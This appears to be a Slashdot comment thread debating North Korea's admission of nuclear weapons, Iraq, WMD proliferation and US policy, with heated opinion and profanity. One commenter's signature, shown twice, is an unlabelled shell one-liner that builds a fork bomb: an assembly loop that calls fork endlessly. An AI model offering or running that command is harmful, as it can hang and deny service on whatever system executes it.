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North Korea Admits to Having Nuclear Weapons
steelvadi writes "North Korea has now admitted to possessing nuclear weapons. Government officials there claimed that they are needed as defense from an increasingly hostile attitude from Washington. It was also stated that N. Korea will not be reentering negotiations on disarmament for the foreseeable future. "
Iraq mishandled the situation - they had these choices
n /k han.htm
1) Keep the WMD, tell the UN to fuck off and fight an apocalyptic non conventional battle with the US/UK. The US/UK win, but level the country in the process.
2) Give up the nukes, prove it to the US/UK and have no war. Saddam stays in power. Obviously it would be pretty hard to get away with this, but it's not impossible. Kind of like it was possible to avoid the first gulf war by a rapid and very public retreat from Kuwait, something James Baker described as a "nightmare scenario".
Neither of these were very appealing, so Saddam fiddled around and got a third option.
3) Destroy some of the weapons in secret, or maybe smuggle them to Syria. Not provide complete proof to the UN, let alone the US/UK. Get invaded and deposed. Not much damage to Irag during the invasion, but guerilla war against the invaders makes up for it.
Of course, if we hadn't have attacked, a resolution extending sanctions/no fly zones would eventually have been blocked by the French, Russians or Chinese, and then all those WMD programs would have restarted. They had the scientists, the money and a supplier, A Q Khan
http://www.globalsecurity.org/wmd/world/pakista
And once they had nukes, they would have been able to do anything they like like North Korea got away with in the Clinton era - they would offer to give up their nuke programs in return for aid, then later we'd find that they lied and cut off aid, and then the cycle would start again.
I think the way to deal with the proliferation problem is to build a missile defense shield. You only need to be able to shoot down a dozen or so relatively low tech weapons initially, and then upgrade it to keep up with the worst case threat. You need to make it clear to the rogue states that you will definitely retaliate with lots nuclear weapons if any of theirs get through the defense shield too, presumably deterrence still works to some extent.
Of the alternatives invading countries is too risky (Iraq), and constructive engagement is just plain pointless (Iran, North Korea).
Of course, if a nuclear armed Iraq had attacked Kuwait/Saudi Arabia, it would leave you in a situation where you either do nothing or risk a nuclear war.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's too late to do anything about North Korea, because they have nuclear weapons and can deter a US attack. On the other hand it wasn't too late to do anything about Iraq, because they didn't yet have nuclear weapons that could deter an attack.
/ aziz/3.html
Actually, it's more subtle than that. Iraq certainly had chemical weapons before the first Gulf War, but was 'convinced' not to use them.
(Interview with Tariq Aziz)
http://www.pbs.org/wgbh/pages/frontline/gulf/oral
On the other hand, even before Korea had nukes, it had enough conventional artillery pointed at Seoul to deter a US attack. Nukes don't really change things.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Every time I hear Condi Rice blabber about some American philosophical bullshit regarding Cuba or Iran or wherever, I freely admit that I hope someone sticks it to America. Imagine my glee when I saw that North Korea finally made a nuclear weapon while Georgy Boy was busy hunting those imaginary WMD in Iraq. How appropriate that Georgy Boy's fake war opened the door to North Korea. Of course now the story is that it is America's duty to spread democracy around the world, and that Iraq is better off now... hmmm Democracy, while generally good, isn't a panacea. Increasingly, it is being used as a way for rich nations to rape poor ones though such cherished democratic institutions like free trade and globalization. Granted most dictators are bad, but a dictator can say "screw you Haliburton, get the hell out of our country". So here is a news flash: you have already lost the war on terror America if you continue with your current tactics of using democracy as a tool to plunder and manipulate other countries. To win, you need the guy on the park bench in Paris or Istanbul to tip you off if he overhears something sinister. There is no way you'll get that kind of support any time soon. If anything, that guy on the bench is already laughing his head off at the impending Iranian fiasco.